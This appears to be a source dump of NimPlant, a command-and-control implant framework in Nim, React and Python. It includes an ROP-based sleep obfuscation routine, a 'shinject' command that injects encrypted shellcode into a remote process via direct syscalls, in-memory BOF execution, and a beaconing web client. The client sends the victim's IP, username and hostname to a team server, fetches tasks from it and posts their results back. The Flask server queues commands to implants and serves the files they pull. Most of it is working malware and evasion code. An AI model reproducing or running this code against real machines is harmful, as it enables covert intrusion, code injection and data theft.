93 | RopProtRX.R8 = PAGE_EXECUTE_READWRITE 94 | RopProtRX.R9 = cast[DWORD64](addr(OldProtect)) 95 | ## SetEvent( hEvent ); 96 | dec(RopSetEvt.Rsp, 8) 97 | RopSetEvt.Rip = cast[DWORD64](SetEvent) 98 | RopSetEvt.Rcx = cast[DWORD64](hEvent) 99 | 100 | CreateTimerQueueTimer(addr(hNewTimer), hTimerQueue, cast[WAITORTIMERCALLBACK](NtContinue), 101 | addr(RopProtRW), 100, 0, WT_EXECUTEINTIMERTHREAD) 102 | CreateTimerQueueTimer(addr(hNewTimer), hTimerQueue, cast[WAITORTIMERCALLBACK](NtContinue), 103 | addr(RopMemEnc), 200, 0, WT_EXECUTEINTIMERTHREAD) 104 | CreateTimerQueueTimer(addr(hNewTimer), hTimerQueue, cast[WAITORTIMERCALLBACK](NtContinue), addr(RopDelay), 105 | 300, 0, WT_EXECUTEINTIMERTHREAD) 106 | CreateTimerQueueTimer(addr(hNewTimer), hTimerQueue, cast[WAITORTIMERCALLBACK](NtContinue), 107 | addr(RopMemDec), 400, 0, WT_EXECUTEINTIMERTHREAD) 108 | CreateTimerQueueTimer(addr(hNewTimer), hTimerQueue, cast[WAITORTIMERCALLBACK](NtContinue), 109 | addr(RopProtRX), 500, 0, WT_EXECUTEINTIMERTHREAD) 110 | CreateTimerQueueTimer(addr(hNewTimer), hTimerQueue, cast[WAITORTIMERCALLBACK](NtContinue), 111 | addr(RopSetEvt), 600, 0, WT_EXECUTEINTIMERTHREAD) 112 | 113 | WaitForSingleObject(hEvent, INFINITE) 114 | 115 | DeleteTimerQueue(hTimerQueue) -------------------------------------------------------------------------------- /ui/components/modals/Cmd-Inline-Execute.tsx: -------------------------------------------------------------------------------- 1 | import { Button, CloseButton, FileButton, Grid, Group, Input, Modal, NativeSelect, Space, Stack, Text } from "@mantine/core" 2 | import { Dispatch, SetStateAction, useState } from "react"; 3 | import { FaTerminal } from "react-icons/fa" 4 | import { submitCommand } from "../../modules/nimplant"; 5 | 6 | 7 | interface IProps { 8 | modalOpen: boolean; 9 | setModalOpen: Dispatch>; 10 | npGuid: string | undefined; 11 | } 12 | 13 | interface Argument { 14 | value: string; 15 | type: string; 16 | } 17 | 18 | function InlineExecuteModal({ modalOpen, setModalOpen, npGuid }: IProps) { 19 | const [bofFile, setBofFile] = useState(null); 20 | const [bofEntryPoint, setBofEntryPoint] = useState("go"); 21 | const [bofArgs, setBofArgs] = useState([]); 22 | const [submitLoading, setSubmitLoading] = useState(false); 23 | 24 | const addArgument = () => { 25 | setBofArgs([...bofArgs, { value: "", type: "z" }]); 26 | }; 27 | 28 | const updateArgument = (index: number, value: string, type: string) => { 29 | setBofArgs(bofArgs.map((arg, i) => (i === index ? { value, type } : arg))); 30 | }; 31 | 32 | const removeArgument = (index: number) => { 33 | setBofArgs(bofArgs.filter((_, i) => i !== index)); 34 | }; 35 | 36 | const submit = () => { 37 | // Read the BOF file to base64 38 | const reader = new FileReader(); 39 | reader.readAsDataURL(bofFile as File); 40 | reader.onload = (e) => { 41 | const bofData = e.target?.result as string; 42 | const b64Bof = bofData.replace('data:', '').replace(/^.+,/, ''); 43 | 44 | // Parse the arguments into a string 45 | const bofArgString: string = bofArgs.map((arg) => { 46 | return `${arg.value} ${arg.type}`; 47 | }).join(' '); 48 | 49 | // Submit the command 50 | setSubmitLoading(true); 51 | submitCommand(String(npGuid), `inline-execute ${b64Bof} ${bofEntryPoint} ${bofArgString}`, callbackClose); 52 | }; 53 | 54 | const callbackClose = () => { 55 | // Reset state 56 | setModalOpen(false); 57 | setBofFile(null); 58 | setBofEntryPoint("go"); 59 | setBofArgs([]); 60 | setSubmitLoading(false); 61 | }; 62 | }; 63 | 64 | return ( 65 | setModalOpen(false)} 68 | title={Inline-Execute: Execute BOF file} 69 | size="auto" 70 | centered 71 | > 72 | Execute a Beacon Object File (BOF) in-memory. 73 | Caution: BOF crashes will crash NimPlant too! 74 | 75 | 76 | 77 | {/* File selector */} 78 | 79 | 80 | 81 | 82 | {(props) => } 85 | 86 | 87 | 88 | 89 | {/* Entrypoint */} 90 | 91 | setBofEntryPoint(event.currentTarget.value)} 95 | /> 96 | 97 | 98 | 99 | {/* Dynamic argument selection */} 100 | 0 ? "lg" : "sm"}> 101 | {bofArgs.map((arg, index) => ( 102 | 103 | 104 | updateArgument(index, event.currentTarget.value, arg.type)} 108 | /> 109 | 110 | 111 | 112 | updateArgument(index, arg.value, event.currentTarget.value)} 116 | data={[ 117 | { label: 'String', value: 'z' }, 118 | { label: 'Wide String', value: 'Z' }, 119 | { label: 'Integer', value: 'i' }, 120 | { label: 'Short', value: 's' }, 121 | { label: 'Binary (b64)', value: 'b' }, 122 | ]} /> 123 | 124 | 125 | 126 | removeArgument(index)} 128 | /> 129 | 130 | 131 | ))} 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | {/* Submit button */} 141 | 149 | 150 | ) 151 | } 152 | 153 | export default InlineExecuteModal -------------------------------------------------------------------------------- /client/commands/risky/shinject.nim: -------------------------------------------------------------------------------- 1 | from ../../util/risky/delegates import NtOpenProcess, NtAllocateVirtualMemory, NtWriteVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx 2 | from ../../util/risky/dinvoke import SYSCALL_STUB_SIZE, GetSyscallStub 3 | from strutils import parseInt 4 | from zippy import uncompress 5 | import ../../util/crypto 6 | import winim/lean 7 | 8 | proc shinject*(li : Listener, args : varargs[string]) : string = 9 | # This should not happen due to preprocessing 10 | if not args.len >= 3: 11 | result = obf("Invalid number of arguments received. Usage: 'shinject [PID] [localfilepath]'.") 12 | return 13 | 14 | let 15 | processId: int = parseInt(args[0]) 16 | shellcodeB64: string = args[1] 17 | currProcess = GetCurrentProcessId() 18 | var 19 | ret: WINBOOL 20 | hProcess: HANDLE 21 | hProcessCurr: HANDLE = OpenProcess(PROCESS_ALL_ACCESS, FALSE, currProcess) 22 | hThread: HANDLE 23 | oa: OBJECT_ATTRIBUTES 24 | ci: CLIENT_ID 25 | allocAddr: LPVOID 26 | bytesWritten: SIZE_T 27 | oldProtect: DWORD 28 | 29 | result = obf("Injecting shellcode into remote process with PID ") & $processId & obf("...\n") 30 | 31 | ci.UniqueProcess = processId 32 | 33 | let sysNtOpenProcess = VirtualAllocEx( 34 | hProcessCurr, 35 | NULL, 36 | cast[SIZE_T](SYSCALL_STUB_SIZE), 37 | MEM_COMMIT, 38 | PAGE_EXECUTE_READ_WRITE) 39 | 40 | var dNtOpenProcess: NtOpenProcess = cast[NtOpenProcess](cast[LPVOID](sysNtOpenProcess)); 41 | VirtualProtect(cast[LPVOID](sysNtOpenProcess), SYSCALL_STUB_SIZE, PAGE_EXECUTE_READWRITE, addr oldProtect); 42 | discard GetSyscallStub("NtOpenProcess", cast[LPVOID](sysNtOpenProcess)); 43 | 44 | var sysNtAllocateVirtualMemory: HANDLE = cast[HANDLE](sysNtOpenProcess) + cast[HANDLE](SYSCALL_STUB_SIZE) 45 | let dNtAllocateVirtualMemory = cast[NtAllocateVirtualMemory](cast[LPVOID](sysNtAllocateVirtualMemory)); 46 | VirtualProtect(cast[LPVOID](sysNtAllocateVirtualMemory), SYSCALL_STUB_SIZE, PAGE_EXECUTE_READWRITE, addr oldProtect); 47 | discard GetSyscallStub("NtAllocateVirtualMemory", cast[LPVOID](sysNtAllocateVirtualMemory)); 48 | 49 | var sysNtWriteVirtualMemory: HANDLE = cast[HANDLE](sysNtAllocateVirtualMemory) + cast[HANDLE](SYSCALL_STUB_SIZE) 50 | let dNtWriteVirtualMemory = cast[NtWriteVirtualMemory](cast[LPVOID](sysNtWriteVirtualMemory)); 51 | VirtualProtect(cast[LPVOID](sysNtWriteVirtualMemory), SYSCALL_STUB_SIZE, PAGE_EXECUTE_READWRITE, addr oldProtect); 52 | discard GetSyscallStub("NtWriteVirtualMemory", cast[LPVOID](sysNtWriteVirtualMemory)); 53 | 54 | var sysNtProtectVirtualMemory: HANDLE = cast[HANDLE](sysNtWriteVirtualMemory) + cast[HANDLE](SYSCALL_STUB_SIZE) 55 | let dNtProtectVirtualMemory = cast[NtProtectVirtualMemory](cast[LPVOID](sysNtProtectVirtualMemory)); 56 | VirtualProtect(cast[LPVOID](sysNtProtectVirtualMemory), SYSCALL_STUB_SIZE, PAGE_EXECUTE_READWRITE, addr oldProtect); 57 | discard GetSyscallStub("NtProtectVirtualMemory", cast[LPVOID](sysNtProtectVirtualMemory)); 58 | 59 | var sysNtCreateThreadEx: HANDLE = cast[HANDLE](sysNtProtectVirtualMemory) + cast[HANDLE](SYSCALL_STUB_SIZE) 60 | let dNtCreateThreadEx = cast[NtCreateThreadEx](cast[LPVOID](sysNtCreateThreadEx)); 61 | VirtualProtect(cast[LPVOID](sysNtCreateThreadEx), SYSCALL_STUB_SIZE, PAGE_EXECUTE_READWRITE, addr oldProtect); 62 | discard GetSyscallStub("NtCreateThreadEx", cast[LPVOID](sysNtCreateThreadEx)); 63 | 64 | ret = dNtOpenProcess( 65 | addr hProcess, 66 | PROCESS_ALL_ACCESS, 67 | addr oa, 68 | addr ci) 69 | 70 | if (ret == 0): 71 | result.add(obf("[+] NtOpenProcess OK\n")) 72 | # result.add(obf(" \\_ Process handle: ") & $hProcess & obf("\n")) 73 | else: 74 | result.add(obf("[-] NtOpenProcess failed! Check if the target PID exists and that you have the appropriate permissions\n")) 75 | return 76 | 77 | var decrypted = decryptData(shellcodeB64, li.cryptKey) 78 | var decompressed: string = uncompress(cast[string](decrypted)) 79 | 80 | var shellcode: seq[byte] = newSeq[byte](decompressed.len) 81 | var shellcodeSize: SIZE_T = cast[SIZE_T](decompressed.len) 82 | copyMem(shellcode[0].addr, decompressed[0].addr, decompressed.len) 83 | 84 | ret = dNtAllocateVirtualMemory( 85 | hProcess, 86 | addr allocAddr, 87 | 0, 88 | addr shellcodeSize, 89 | MEM_COMMIT, 90 | PAGE_READWRITE) 91 | 92 | if (ret == 0): 93 | result.add(obf("[+] NtAllocateVirtualMemory OK\n")) 94 | else: 95 | result.add(obf("[-] NtAllocateVirtualMemory failed!\n")) 96 | return 97 | 98 | ret = dNtWriteVirtualMemory( 99 | hProcess, 100 | allocAddr, 101 | unsafeAddr shellcode[0], 102 | shellcodeSize, 103 | addr bytesWritten) 104 | 105 | if (ret == 0): 106 | result.add(obf("[+] NtWriteVirtualMemory OK\n")) 107 | result.add(obf(" \\_ Bytes written: ") & $bytesWritten & obf(" bytes\n")) 108 | else: 109 | result.add(obf("[-] NtWriteVirtualMemory failed!\n")) 110 | return 111 | 112 | var protectAddr = allocAddr 113 | var shellcodeSize2: SIZE_T = cast[SIZE_T](shellcode.len) 114 | 115 | ret = dNtProtectVirtualMemory( 116 | hProcess, 117 | addr protectAddr, 118 | addr shellcodeSize2, 119 | PAGE_EXECUTE_READ, 120 | addr oldProtect) 121 | 122 | if (ret == 0): 123 | result.add(obf("[+] NtProtectVirtualMemory OK\n")) 124 | else: 125 | result.add(obf("[-] NtProtectVirtualMemory failed!\n")) 126 | return 127 | 128 | ret = dNtCreateThreadEx( 129 | addr hThread, 130 | THREAD_ALL_ACCESS, 131 | NULL, 132 | hProcess, 133 | allocAddr, 134 | NULL, 135 | FALSE, 136 | 0, 137 | 0, 138 | 0, 139 | NULL) 140 | 141 | if (ret == 0): 142 | result.add(obf("[+] NtCreateThreadEx OK\n")) 143 | # result.add(obf(" \\_ Thread handle: ") & $hThread & obf("\n")) 144 | else: 145 | result.add(obf("[-] NtCreateThreadEx failed!\n")) 146 | return 147 | 148 | CloseHandle(hThread) 149 | CloseHandle(hProcess) 150 | 151 | result.add(obf("[+] Injection successful!")) -------------------------------------------------------------------------------- /client/util/risky/structs.nim: -------------------------------------------------------------------------------- 1 | # Taken from the excellent NiCOFF project by @frkngksl 2 | # Source: https://github.com/frkngksl/NiCOFF/blob/main/Structs.nim 3 | 4 | # The bycopy pragma can be applied to an object or tuple type and instructs the compiler to pass the type by value to procs 5 | # * means global type 6 | # Some structs here should be exist in winim/lean but anyway, maybe someone needs such thing . Oi! 7 | type 8 | #[ 9 | typedef struct { 10 | UINT16 Machine; 11 | UINT16 NumberOfSections; 12 | UINT32 TimeDateStamp; 13 | UINT32 PointerToSymbolTable; 14 | UINT32 NumberOfSymbols; 15 | UINT16 SizeOfOptionalHeader; 16 | UINT16 Characteristics; 17 | } FileHeader; 18 | ]# 19 | FileHeader* {.bycopy,packed.} = object 20 | Machine*: uint16 21 | NumberOfSections*: uint16 22 | TimeDateStamp*: uint32 23 | PointerToSymbolTable*: uint32 24 | NumberOfSymbols*: uint32 25 | SizeOfOptionalHeader*: uint16 26 | Characteristics*: uint16 27 | 28 | #[ 29 | typedef struct { 30 | char Name[8]; //8 bytes long null-terminated string 31 | UINT32 VirtualSize; //total size of section when loaded into memory, 0 for COFF, might be different because of padding 32 | UINT32 VirtualAddress; //address of the first byte of the section before relocations are applied, should be set to 0 33 | UINT32 SizeOfRawData; //The size of the section for COFF files 34 | UINT32 PointerToRawData; //Pointer to the beginning of the section for COFF 35 | UINT32 PointerToRelocations; //File pointer to the beginning of relocation entries 36 | UINT32 PointerToLinenumbers; //The file pointer to the beginning of line-number entries for the section. T 37 | UINT16 NumberOfRelocations; //The number of relocation entries for the section. This is set to zero for executable images. 38 | UINT16 NumberOfLinenumbers; //The number of line-number entries for the section. This value should be zero for an image because COFF debugging information is deprecated. 39 | UINT32 Characteristics; //The flags that describe the characteristics of the section 40 | } SectionHeader; 41 | ]# 42 | SectionHeader* {.bycopy,packed.} = object 43 | Name*: array[8,char] 44 | VirtualSize*: uint32 45 | VirtualAddress*: uint32 46 | SizeOfRawData*: uint32 47 | PointerToRawData*: uint32 48 | PointerToRelocations*: uint32 49 | PointerToLinenumbers*: uint32 50 | NumberOfRelocations*: uint16 51 | NumberOfLinenumbers*: uint16 52 | Characteristics*: uint32 53 | 54 | #[ 55 | typedef struct { 56 | union { 57 | char Name[8]; //8 bytes, name of the symbol, represented as a union of 3 structs 58 | UINT32 value[2]; //TODO: what does this represent?! 59 | } first; 60 | UINT32 Value; //meaning depends on the section number and storage class 61 | UINT16 SectionNumber; //signed int, some values have predefined meaning 62 | UINT16 Type; // 63 | UINT8 StorageClass; // 64 | UINT8 NumberOfAuxSymbols; 65 | } SymbolTableEntry; 66 | ]# 67 | 68 | UnionFirst* {.final,union,pure.} = object 69 | Name*: array[8,char] 70 | value*: array[2,uint32] 71 | 72 | 73 | 74 | SymbolTableEntry* {.bycopy, packed.} = object 75 | First*: UnionFirst 76 | Value*: uint32 77 | SectionNumber*: uint16 78 | Type*: uint16 79 | StorageClass*: uint8 80 | NumberOfAuxSymbols*: uint8 81 | 82 | #[ 83 | typedef struct { 84 | UINT32 VirtualAddress; 85 | UINT32 SymbolTableIndex; 86 | UINT16 Type; 87 | } RelocationTableEntry; 88 | ]# 89 | 90 | RelocationTableEntry* {.bycopy, packed.} = object 91 | VirtualAddress*: uint32 92 | SymbolTableIndex*: uint32 93 | Type*: uint16 94 | 95 | SectionInfo* {.bycopy.} = object 96 | Name*: string 97 | SectionOffset*: uint64 98 | SectionHeaderPtr*: ptr SectionHeader 99 | 100 | 101 | const 102 | IMAGE_REL_AMD64_ABSOLUTE = 0x0000 103 | IMAGE_REL_AMD64_ADDR64 = 0x0001 104 | IMAGE_REL_AMD64_ADDR32 = 0x0002 105 | IMAGE_REL_AMD64_ADDR32NB = 0x0003 106 | # Most common from the looks of it, just 32-bit relative address from the byte following the relocation 107 | IMAGE_REL_AMD64_REL32 = 0x0004 108 | # Second most common, 32-bit address without an image base. Not sure what that means... 109 | IMAGE_REL_AMD64_REL32_1 = 0x0005 110 | IMAGE_REL_AMD64_REL32_2 = 0x0006 111 | IMAGE_REL_AMD64_REL32_3 = 0x0007 112 | IMAGE_REL_AMD64_REL32_4 = 0x0008 113 | IMAGE_REL_AMD64_REL32_5 = 0x0009 114 | IMAGE_REL_AMD64_SECTION = 0x000A 115 | IMAGE_REL_AMD64_SECREL = 0x000B 116 | IMAGE_REL_AMD64_SECREL7 = 0x000C 117 | IMAGE_REL_AMD64_TOKEN = 0x000D 118 | IMAGE_REL_AMD64_SREL32 = 0x000E 119 | IMAGE_REL_AMD64_PAIR = 0x000F 120 | IMAGE_REL_AMD64_SSPAN32 = 0x0010 121 | 122 | # Storage classes. 123 | 124 | IMAGE_SYM_CLASS_END_OF_FUNCTION = cast[byte](-1) 125 | IMAGE_SYM_CLASS_NULL = 0x0000 126 | IMAGE_SYM_CLASS_AUTOMATIC = 0x0001 127 | IMAGE_SYM_CLASS_EXTERNAL = 0x0002 128 | IMAGE_SYM_CLASS_STATIC = 0x0003 129 | IMAGE_SYM_CLASS_REGISTER = 0x0004 130 | IMAGE_SYM_CLASS_EXTERNAL_DEF = 0x0005 131 | IMAGE_SYM_CLASS_LABEL = 0x0006 132 | IMAGE_SYM_CLASS_UNDEFINED_LABEL = 0x0007 133 | IMAGE_SYM_CLASS_MEMBER_OF_STRUCT = 0x0008 134 | IMAGE_SYM_CLASS_ARGUMENT = 0x0009 135 | IMAGE_SYM_CLASS_STRUCT_TAG = 0x000A 136 | IMAGE_SYM_CLASS_MEMBER_OF_UNION = 0x000B 137 | IMAGE_SYM_CLASS_UNION_TAG = 0x000C 138 | IMAGE_SYM_CLASS_TYPE_DEFINITION = 0x000D 139 | IMAGE_SYM_CLASS_UNDEFINED_STATIC = 0x000E 140 | IMAGE_SYM_CLASS_ENUM_TAG = 0x000F 141 | IMAGE_SYM_CLASS_MEMBER_OF_ENUM = 0x0010 142 | IMAGE_SYM_CLASS_REGISTER_PARAM = 0x0011 143 | IMAGE_SYM_CLASS_BIT_FIELD = 0x0012 144 | IMAGE_SYM_CLASS_FAR_EXTERNAL = 0x0044 145 | IMAGE_SYM_CLASS_BLOCK = 0x0064 146 | IMAGE_SYM_CLASS_FUNCTION = 0x0065 147 | IMAGE_SYM_CLASS_END_OF_STRUCT = 0x0066 148 | IMAGE_SYM_CLASS_FILE = 0x0067 149 | IMAGE_SYM_CLASS_SECTION = 0x0068 150 | IMAGE_SYM_CLASS_WEAK_EXTERNAL = 0x0069 151 | IMAGE_SYM_CLASS_CLR_TOKEN = 0x006B -------------------------------------------------------------------------------- /client/util/webClient.nim: -------------------------------------------------------------------------------- 1 | import base64, json, puppy 2 | from strutils import split, toLowerAscii, replace 3 | from unicode import toLower 4 | from os import parseCmdLine 5 | import crypto 6 | import strenc 7 | 8 | # Define the object with listener properties 9 | type 10 | Listener* = object 11 | id* : string 12 | initialized* : bool 13 | registered* : bool 14 | listenerType* : string 15 | listenerHost* : string 16 | listenerIp* : string 17 | listenerPort* : string 18 | registerPath* : string 19 | sleepTime* : int 20 | sleepJitter* : float 21 | killDate* : string 22 | taskPath* : string 23 | resultPath* : string 24 | userAgent* : string 25 | cryptKey* : string 26 | 27 | # HTTP request function 28 | proc doRequest(li : Listener, path : string, postKey : string = "", postValue : string = "") : Response = 29 | try: 30 | # Determine target: Either "TYPE://HOST:PORT" or "TYPE://HOSTNAME" 31 | var target : string = toLowerAscii(li.listenerType) & "://" 32 | if li.listenerHost != "": 33 | target = target & li.listenerHost 34 | else: 35 | target = target & li.listenerIp & ":" & li.listenerPort 36 | target = target & path 37 | 38 | # GET request 39 | if (postKey == "" or postValue == ""): 40 | var headers: seq[Header] 41 | 42 | # Only send ID header once listener is registered 43 | if li.id != "": 44 | headers = @[ 45 | Header(key: "X-Identifier", value: li.id), 46 | Header(key: "User-Agent", value: li.userAgent) 47 | ] 48 | else: 49 | headers = @[ 50 | Header(key: "User-Agent", value: li.userAgent) 51 | ] 52 | 53 | let req = Request( 54 | url: parseUrl(target), 55 | verb: "get", 56 | headers: headers, 57 | allowAnyHttpsCertificate: true, 58 | ) 59 | 60 | return fetch(req) 61 | 62 | # POST request 63 | else: 64 | let req = Request( 65 | url: parseUrl(target), 66 | verb: "post", 67 | headers: @[ 68 | Header(key: "X-Identifier", value: li.id), 69 | Header(key: "User-Agent", value: li.userAgent), 70 | Header(key: "Content-Type", value: "application/json") 71 | ], 72 | allowAnyHttpsCertificate: true, 73 | body: "{\"" & postKey & "\":\"" & postValue & "\"}" 74 | ) 75 | return fetch(req) 76 | 77 | except: 78 | # Return a fictive error response to handle 79 | var errResponse = Response() 80 | errResponse.code = 500 81 | return errResponse 82 | 83 | # Init NimPlant ID and cryptographic key via GET request to the registration path 84 | # XOR-decrypt transmitted key with static value for initial exchange 85 | proc init*(li: var Listener) : void = 86 | # Allow us to re-write the static XOR key used for pre-crypto operations 87 | const xor_key {.intdefine.}: int = 459457925 88 | 89 | var res = doRequest(li, li.registerPath) 90 | if res.code == 200: 91 | li.id = parseJson(res.body)["id"].getStr() 92 | li.cryptKey = xorString(base64.decode(parseJson(res.body)["k"].getStr()), xor_key) 93 | li.initialized = true 94 | else: 95 | li.initialized = false 96 | 97 | # Initial registration function, including key init 98 | proc postRegisterRequest*(li : var Listener, ipAddrInt : string, username : string, hostname : string, osBuild : string, pid : int, pname : string, riskyMode : bool) : void = 99 | # Once key is known, send a second request to register nimplant with initial info 100 | var data = %* 101 | [ 102 | { 103 | "i": ipAddrInt, 104 | "u": username, 105 | "h": hostname, 106 | "o": osBuild, 107 | "p": pid, 108 | "P": pname, 109 | "r": riskyMode 110 | } 111 | ] 112 | var dataStr = ($data)[1..^2] 113 | let res = doRequest(li, li.registerPath, "data", encryptData(dataStr, li.cryptKey)) 114 | 115 | if (res.code != 200): 116 | # Error at this point means XOR key mismatch, abort 117 | li.registered = false 118 | else: 119 | li.registered = true 120 | 121 | # Watch for queued commands via GET request to the task path 122 | proc getQueuedCommand*(li : Listener) : (string, string, seq[string]) = 123 | var 124 | res = doRequest(li, li.taskPath) 125 | cmdGuid : string 126 | cmd : string 127 | args : seq[string] 128 | 129 | # A connection error occurred, likely team server has gone down or restart 130 | if res.code != 200: 131 | cmd = obf("NIMPLANT_CONNECTION_ERROR") 132 | 133 | when defined verbose: 134 | echo obf("DEBUG: Connection error, got status code: "), res.code 135 | 136 | # Otherwise, parse task and arguments (if any) 137 | else: 138 | try: 139 | # Attempt to parse task (parseJson() needs string literal... sigh) 140 | var responseData = decryptData(parseJson(res.body)["t"].getStr(), li.cryptKey).replace("\'", "\"") 141 | var parsedResponseData = parseJson(responseData) 142 | 143 | # Get the task and task GUID from the response 144 | var task = parsedResponseData["task"].getStr() 145 | cmdGuid = parsedResponseData["guid"].getStr() 146 | 147 | try: 148 | # Arguments are included with the task 149 | cmd = task.split(' ', 1)[0].toLower() 150 | args = parseCmdLine(task.split(' ', 1)[1]) 151 | except: 152 | # There are no arguments 153 | cmd = task.split(' ', 1)[0].toLower() 154 | except: 155 | # No task has been returned 156 | cmdGuid = "" 157 | cmd = "" 158 | 159 | result = (cmdGuid, cmd, args) 160 | 161 | # Return command results via POST request to the result path 162 | proc postCommandResults*(li : Listener, cmdGuid : string, output : string) : void = 163 | var data = obf("{\"guid\": \"") & cmdGuid & obf("\", \"result\":\"") & base64.encode(output) & obf("\"}") 164 | discard doRequest(li, li.resultPath, "data", encryptData(data, li.cryptKey)) 165 | 166 | # Announce that the kill timer has expired 167 | proc killSelf*(li : Listener) : void = 168 | if li.initialized: 169 | postCommandResults(li, "", obf("NIMPLANT_KILL_TIMER_EXPIRED")) -------------------------------------------------------------------------------- /ui/components/Dots.tsx: -------------------------------------------------------------------------------- 1 | import React from 'react'; 2 | 3 | // Source: https://github.com/mantinedev/ui.mantine.dev/blob/master/components/HeroText/Dots.tsx 4 | 5 | export interface DotsProps extends React.ComponentPropsWithoutRef<'svg'> { 6 | size?: number; 7 | radius?: number; 8 | } 9 | 10 | export function Dots({ size = 185, radius = 2.5, ...others }: DotsProps) { 11 | return ( 12 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | ); 123 | } -------------------------------------------------------------------------------- /server/api/server.py: -------------------------------------------------------------------------------- 1 | from ..util.commands import getCommands, handleCommand 2 | from ..util.config import config 3 | from ..util.crypto import randString 4 | from ..util.func import exitServer 5 | from ..util.nimplant import np_server 6 | 7 | from flask_cors import CORS 8 | from gevent.pywsgi import WSGIServer 9 | from server.util.db import * 10 | from threading import Thread 11 | from werkzeug.utils import secure_filename 12 | import flask 13 | import os 14 | 15 | # Parse server configuration 16 | server_ip = config["server"]["ip"] 17 | server_port = config["server"]["port"] 18 | 19 | # Initiate flask app 20 | app = flask.Flask( 21 | __name__, 22 | static_url_path="", 23 | static_folder="../web/static", 24 | template_folder="../web", 25 | ) 26 | app.secret_key = randString(32) 27 | 28 | # Define the API server 29 | def api_server(): 30 | # Get available commands 31 | @app.route("/api/commands", methods=["GET"]) 32 | def get_commands(): 33 | return flask.jsonify(getCommands()), 200 34 | 35 | # Get download information 36 | @app.route("/api/downloads", methods=["GET"]) 37 | def get_downloads(): 38 | try: 39 | downloadsPath = os.path.abspath(f"server/downloads/server-{np_server.guid}") 40 | res = [] 41 | with os.scandir(downloadsPath) as downloads: 42 | for download in downloads: 43 | if download.is_dir(): 44 | continue 45 | 46 | res.append( 47 | { 48 | "name": download.name, 49 | "size": download.stat().st_size, 50 | "lastmodified": download.stat().st_mtime, 51 | } 52 | ) 53 | res = sorted(res, key=lambda x: x["lastmodified"], reverse=True) 54 | return flask.jsonify(res), 200 55 | except FileNotFoundError: 56 | return flask.jsonify([]), 404 57 | 58 | # Download a file from the downloads folder 59 | @app.route("/api/downloads/", methods=["GET"]) 60 | def get_download(filename): 61 | try: 62 | downloadsPath = os.path.abspath(f"server/downloads/server-{np_server.guid}") 63 | return flask.send_from_directory( 64 | downloadsPath, filename, as_attachment=True 65 | ) 66 | except FileNotFoundError: 67 | return flask.jsonify("File not found"), 404 68 | 69 | # Get server configuration 70 | @app.route("/api/server", methods=["GET"]) 71 | def get_server_info(): 72 | return flask.jsonify(dbGetServerInfo(np_server.guid)), 200 73 | 74 | # Get the last X lines of console history 75 | @app.route("/api/server/console", methods=["GET"]) 76 | @app.route("/api/server/console/", methods=["GET"]) 77 | @app.route("/api/server/console//", methods=["GET"]) 78 | def get_server_console(lines="1000", offset="0"): 79 | # Process input as string and check if valid 80 | if not lines.isnumeric() or not offset.isnumeric(): 81 | return flask.jsonify("Invalid parameters"), 400 82 | 83 | return flask.jsonify(dbGetServerConsole(np_server.guid, lines, offset)), 200 84 | 85 | # Exit the server 86 | @app.route("/api/server/exit", methods=["POST"]) 87 | def post_exit_server(): 88 | Thread(target=exitServer).start() 89 | return flask.jsonify("Exiting server..."), 200 90 | 91 | # Upload a file to the server's "uploads" folder 92 | @app.route("/api/upload", methods=["POST"]) 93 | def post_upload(): 94 | upload_path = os.path.abspath(f"server/uploads/server-{np_server.guid}") 95 | 96 | if "file" not in flask.request.files: 97 | return flask.jsonify("No file part"), 400 98 | 99 | file = flask.request.files["file"] 100 | if file.filename == "": 101 | return flask.jsonify("No file selected"), 400 102 | 103 | if file: 104 | os.makedirs(upload_path, exist_ok=True) 105 | filename = secure_filename(file.filename) 106 | full_path = os.path.join(upload_path, filename) 107 | file.save(full_path) 108 | return flask.jsonify({"result": "File uploaded", "path": full_path}), 200 109 | else: 110 | return flask.jsonify("File upload failed"), 400 111 | 112 | # Get all active nimplants with basic information 113 | @app.route("/api/nimplants", methods=["GET"]) 114 | def get_nimplants(): 115 | return flask.jsonify(dbGetNimplantInfo(np_server.guid)), 200 116 | 117 | # Get a specific nimplant with its details 118 | @app.route("/api/nimplants/", methods=["GET"]) 119 | def get_nimplant(guid): 120 | if np_server.getNimplantByGuid(guid): 121 | return flask.jsonify(dbGetNimplantDetails(guid)), 200 122 | else: 123 | return flask.jsonify("Invalid Nimplant GUID"), 404 124 | 125 | # Get the last X lines of console history for a specific nimplant 126 | @app.route("/api/nimplants//console", methods=["GET"]) 127 | @app.route("/api/nimplants//console/", methods=["GET"]) 128 | @app.route("/api/nimplants//console//", methods=["GET"]) 129 | def get_nimplant_console(guid, lines="1000", offset="0"): 130 | # Process input as string and check if valid 131 | if not lines.isnumeric() or not offset.isnumeric(): 132 | return flask.jsonify("Invalid parameters"), 400 133 | 134 | if np_server.getNimplantByGuid(guid): 135 | return flask.jsonify(dbGetNimplantConsole(guid, lines, offset)), 200 136 | else: 137 | return flask.jsonify("Invalid Nimplant GUID"), 404 138 | 139 | # Issue a command to a specific nimplant 140 | @app.route("/api/nimplants//command", methods=["POST"]) 141 | def post_nimplant_command(guid): 142 | np = np_server.getNimplantByGuid(guid) 143 | data = flask.request.json 144 | command = data["command"] 145 | 146 | if np and command: 147 | handleCommand(command, np) 148 | return flask.jsonify(f"Command queued: {command}"), 200 149 | else: 150 | return flask.jsonify("Invalid Nimplant GUID or command"), 404 151 | 152 | # Exit a specific nimplant 153 | @app.route("/api/nimplants//exit", methods=["POST"]) 154 | def post_nimplant_exit(guid): 155 | np = np_server.getNimplantByGuid(guid) 156 | 157 | if np: 158 | handleCommand("kill", np) 159 | return flask.jsonify("Instructed Nimplant to exit"), 200 160 | else: 161 | return flask.jsonify("Invalid Nimplant GUID"), 404 162 